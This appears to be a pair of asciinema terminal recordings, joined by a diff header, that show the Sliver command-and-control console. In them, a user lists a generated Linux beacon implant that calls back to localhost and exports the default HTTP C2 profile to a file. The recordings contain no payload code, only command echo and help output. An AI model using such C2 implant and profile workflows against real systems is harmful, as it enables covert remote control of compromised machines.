[71.417274, "o", "\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[71.698786, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[71.701075, "o", "\u001b[6n"]
[71.708329, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[71.710145, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[72.985648, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[73.009435, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[73.009781, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[73.182195, "o", "\u001b[?25l"]
[73.192758, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[73.211661, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D"]
[73.211912, "o", "\u001b[10C\u001b[?25h"]
[73.35878, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[73.374168, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[73.375805, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[73.734311, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[73.750789, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[73.880835, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[73.883743, "o", "\u001b[6n"]
[73.90966, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A"]
[73.911553, "o", "\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[73.989321, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[73.993359, "o", "\u001b[6n"]
[74.016271, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[74.043615, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[74.043762, "o", "\u001b[6n"]
[74.046477, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[74.219479, "o", "\u001b[?25l"]
[74.221338, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[74.24193, "o", "impla\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[74.243527, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
[74.331302, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[74.348486, "o", "implan\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[74.348651, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
[74.489187, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[74.500297, "o", "implant\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
[74.566838, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[74.573073, "o", "\u001b[1m\u001b[32mimplants\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
[74.808286, "o", "\u001b[17D\u001b[9C"]
[74.813179, "o", "\u001b[6n"]
[74.846482, "o", "\u001b[214D\u001b[17C\u001b[0J\u001b[214D\r\r\n\u001b[0 q\r\n"]
[74.881318, "o", " Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage \r\n================= ============== ========== ============= ============ ======================= ======= =========== ======= =======\r\n ASHAMED_WHISKEY beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 19778 false \r\n\r\n\r\n\r\n"]
[74.892365, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[74.893136, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[74.896165, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[77.327059, "o", "\u001b[?25l"]
[77.329822, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[77.363208, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[77.365656, "o", "\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[77.504607, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[77.517902, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[77.686298, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[77.701406, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[77.838144, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[77.862375, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[77.864097, "o", "\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[78.126413, "o", "\u001b[13D\u001b[9C\u001b[6n"]
[78.141319, "o", "\u001b[214D\u001b[13C\u001b[0J\u001b[214D\r\r\n"]
[78.144216, "o", "\u001b[0 q\r\n"]
[78.162784, "o", "Exiting...\r\n"]
[78.208624, "o", "# "]
[79.362147, "o", "\r\n"]
@@ -0,0 +1,503 @@
{"version": 2, "width": 272, "height": 61, "timestamp": 1714659260, "env": {"SHELL": null, "TERM": "xterm"}}
[0.032816, "o", "# "]
[0.938981, "o", "."]
[0.985467, "o", "/"]
[1.198498, "o", "s"]
[1.306655, "o", "l"]
[1.395915, "o", "i"]
[1.477486, "o", "v"]
[1.578781, "o", "e"]
[1.697675, "o", "r"]
[1.869583, "o", "-"]
[2.029534, "o", "s"]
[2.068227, "o", "e"]
[2.163221, "o", "r"]
[2.366974, "o", "v"]
[2.483838, "o", "e"]
[2.57549, "o", "r"]
[2.674361, "o", "\r\n"]
[3.801485, "o", "\u001b[32m\r\r\n ███████╗██╗ ██╗██╗ ██╗███████╗██████╗\r\r\n ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗\r\r\n ███████╗██║ ██║██║ ██║█████╗ ██████╔╝\r\r\n ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗\r\r\n ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║\r\r\n ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝\r\r\n\u001b[0m\r\nAll hackers gain renown\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - ba3893980d1ca5e4ae4089eb4c87e9f5ba389119 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
[3.805318, "o", "\r\n"]
[3.8316, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[3.833714, "o", "\u001b[1 q"]
[3.835817, "o", "\u001b[?25l"]
[3.836612, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[3.837224, "o", "\u001b[6n"]
[3.840015, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[3.840101, "o", "\r\r\n"]
[3.840672, "o", "\u001b[0K"]
[3.840882, "o", "\u001b[0J\u001b[272D\u001b[1A"]
[3.841088, "o", "\u001b[9D\u001b[9C"]
[3.841713, "o", "\u001b[272D\u001b[9C\u001b[?25h"]
[4.303647, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[4.306327, "o", "\u001b[6n"]
[4.318244, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
[4.320693, "o", "\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
[4.520626, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.532409, "o", "c2\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
[4.791039, "o", "\u001b[?25l"]
[4.791552, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.79912, "o", "c2p\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[4.799739, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[12D\u001b[9C\u001b[272D\u001b[12C\u001b[?25h"]
[4.894404, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.900902, "o", "c2pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
[4.901711, "o", "\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
[4.993115, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.013218, "o", "c2pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[14D\u001b[9C\u001b[272D\u001b[14C\u001b[?25h"]
[5.114605, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.133834, "o", "c2prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[5.134762, "o", "\u001b[272D\u001b[1A\u001b[15D\u001b[9C\u001b[272D\u001b[15C\u001b[?25h"]
[5.211061, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.223123, "o", "c2profi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[5.223581, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[16D\u001b[9C\u001b[272D\u001b[16C\u001b[?25h"]
[5.289935, "o", "\u001b[?25l\u001b[272D"]
[5.291987, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.300907, "o", "c2profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
[5.302069, "o", "\u001b[17D\u001b[9C\u001b[272D\u001b[17C\u001b[?25h"]
[5.332256, "o", "\u001b[?25l\u001b[272D"]
[5.332755, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.339849, "o", "c2profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[5.341086, "o", "\u001b[272D\u001b[1A\u001b[18D\u001b[9C\u001b[272D\u001b[18C\u001b[?25h"]
[5.389029, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.390688, "o", "\u001b[6n"]
[5.396701, "o", "\u001b[1m\u001b[32mc2profiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[5.396869, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[19D\u001b[9C\u001b[272D\u001b[19C\u001b[?25h"]
[5.516542, "o", "\u001b[?25l"]
[5.53115, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.537208, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
[5.537737, "o", "\u001b[1A\u001b[20D\u001b[9C\u001b[272D\u001b[20C\u001b[?25h"]
[6.697572, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.71869, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22me\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
[6.721034, "o", "\u001b[21D\u001b[9C\u001b[272D\u001b[21C\u001b[?25h"]
[6.877095, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.889959, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[6.891807, "o", "\u001b[272D\u001b[1A\u001b[22D\u001b[9C\u001b[272D\u001b[22C\u001b[?25h"]
[7.017006, "o", "\u001b[?25l"]
[7.018407, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.027881, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexp\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.030167, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[23D\u001b[9C\u001b[272D\u001b[23C\u001b[?25h"]
[7.059124, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[7.05968, "o", "\u001b[6n"]
[7.065781, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexpo\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.067786, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[24D\u001b[9C\u001b[272D\u001b[24C\u001b[?25h"]
[7.22245, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.238734, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexpor\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.241667, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[25D\u001b[9C\u001b[272D\u001b[25C\u001b[?25h"]
[7.335184, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.342802, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.344413, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[26D\u001b[9C\u001b[272D\u001b[26C\u001b[?25h"]
[7.441901, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.45158, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[27D\u001b[9C\u001b[272D\u001b[27C\u001b[?25h"]
[8.047779, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.069437, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[8.070579, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[28D\u001b[9C\u001b[272D\u001b[28C\u001b[?25h"]
[8.364177, "o", "\u001b[?25l\u001b[272D"]
[8.364744, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.371014, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r"]
[8.371233, "o", "\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[29D\u001b[9C\u001b[272D\u001b[29C\u001b[?25h"]
[8.723197, "o", "\u001b[29D\u001b[9C"]
[8.723881, "o", "\u001b[6n"]
[8.731097, "o", "\u001b[272D\u001b[29C\u001b[0J\u001b[272D\r\r\n"]
[8.735797, "o", "\u001b[0 q"]
[8.737844, "o", "\r\n"]
[8.756828, "o", "Export HTTP C2 profile\r\n\r\n"]
[8.764575, "o", "Usage:\r\n c2profiles export [flags]\r\n\r\nFlags:\r\n -f, --file string Path to file to export C2 configuration to\r\n -h, --help help for export\r\n -n, --name string HTTP C2 Profile name (default \"default\")\r\n"]
[8.765484, "o", "\r\n"]
[8.788535, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[8.789174, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.791716, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C"]
[8.79195, "o", "\u001b[272D\u001b[9C\u001b[?25h"]
[9.813154, "o", "\u001b[?25l"]
[9.814247, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[9.833167, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[9.835856, "o", "\u001b[272D\u001b[1A\u001b[29D\u001b[9C\u001b[272D\u001b[29C\u001b[?25h"]
[10.573182, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[10.574022, "o", "\u001b[6n"]
[10.592491, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[10.594246, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[28D\u001b[9C\u001b[272D\u001b[28C\u001b[?25h"]
[11.366893, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.385557, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[29D\u001b[9C\u001b[272D"]
[11.388938, "o", "\u001b[29C\u001b[?25h"]
[11.545758, "o", "\u001b[?25l"]
[11.549911, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.561053, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[11.563741, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[30D\u001b[9C\u001b[272D\u001b[30C\u001b[?25h"]
[11.882926, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.903972, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22md\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[11.904256, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[31D\u001b[9C\u001b[272D\u001b[31C\u001b[?25h"]
[11.943583, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[11.943795, "o", "\u001b[6n"]
[11.950851, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mde\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[32D\u001b[9C\u001b[272D\u001b[32C\u001b[?25h"]
[12.093835, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[12.107646, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdef\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[12.109905, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[33D\u001b[9C\u001b[272D\u001b[33C\u001b[?25h"]
[12.209746, "o", "\u001b[?25l"]
[12.213819, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[12.229556, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefa\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[34D\u001b[9C\u001b[272D\u001b[34C\u001b[?25h"]
[12.31973, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[12.324946, "o", "\u001b[6n"]
[12.335256, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefau\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[12.337214, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[35D\u001b[9C\u001b[272D\u001b[35C\u001b[?25h"]
[12.363598, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[12.365699, "o", "\u001b[6n"]
[12.373131, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefaul\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[12.374193, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[36D\u001b[9C\u001b[272D\u001b[36C\u001b[?25h"]
[12.450096, "o", "\u001b[?25l\u001b[272D"]
[12.451101, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[12.458408, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[37D\u001b[9C\u001b[272D\u001b[37C\u001b[?25h"]
[12.759097, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[12.773543, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[38D\u001b[9C\u001b[272D\u001b[38C\u001b[?25h"]
[12.932706, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[12.940468, "o", "\u001b[6n"]
[12.949837, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[12.950132, "o", "\u001b[272D\u001b[1A\u001b[39D\u001b[9C\u001b[272D\u001b[39C\u001b[?25h"]
[13.136808, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[13.154631, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
[13.155923, "o", "\u001b[40D\u001b[9C\u001b[272D\u001b[40C\u001b[?25h"]
[13.337861, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[13.356646, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[41D\u001b[9C\u001b[272D\u001b[41C\u001b[?25h"]
[13.470467, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[13.485656, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2pr\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[13.488122, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[42D\u001b[9C\u001b[272D\u001b[42C\u001b[?25h"]
[13.56382, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[13.568935, "o", "\u001b[6n"]
[13.576791, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2pro\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[13.577042, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[43D\u001b[9C\u001b[272D\u001b[43C\u001b[?25h"]
[13.697149, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[13.715325, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[44D"]
[13.716648, "o", "\u001b[9C\u001b[272D\u001b[44C\u001b[?25h"]
[13.760933, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[13.762775, "o", "\u001b[6n"]
[13.771378, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[13.773973, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[45D\u001b[9C\u001b[272D\u001b[45C\u001b[?25h"]
[13.824571, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[13.825891, "o", "\u001b[6n"]
[13.834916, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[46D\u001b[9C"]
[13.836196, "o", "\u001b[272D\u001b[46C\u001b[?25h"]
[13.921852, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[13.934932, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[13.93566, "o", "\u001b[272D\u001b[1A\u001b[47D\u001b[9C\u001b[272D\u001b[47C\u001b[?25h"]
[14.916087, "o", "\u001b[47D\u001b[9C\u001b[6n"]
[14.938174, "o", "\u001b[272D\u001b[47C\u001b[0J\u001b[272D\r\r\n"]
[14.945767, "o", "\u001b[0 q\r\n"]
[14.96874, "o", "\u001b7"]
[14.968932, "o", "\u001b[?25l"]
[14.969801, "o", "\u001b8\u001b[0G\u001b[2K"]
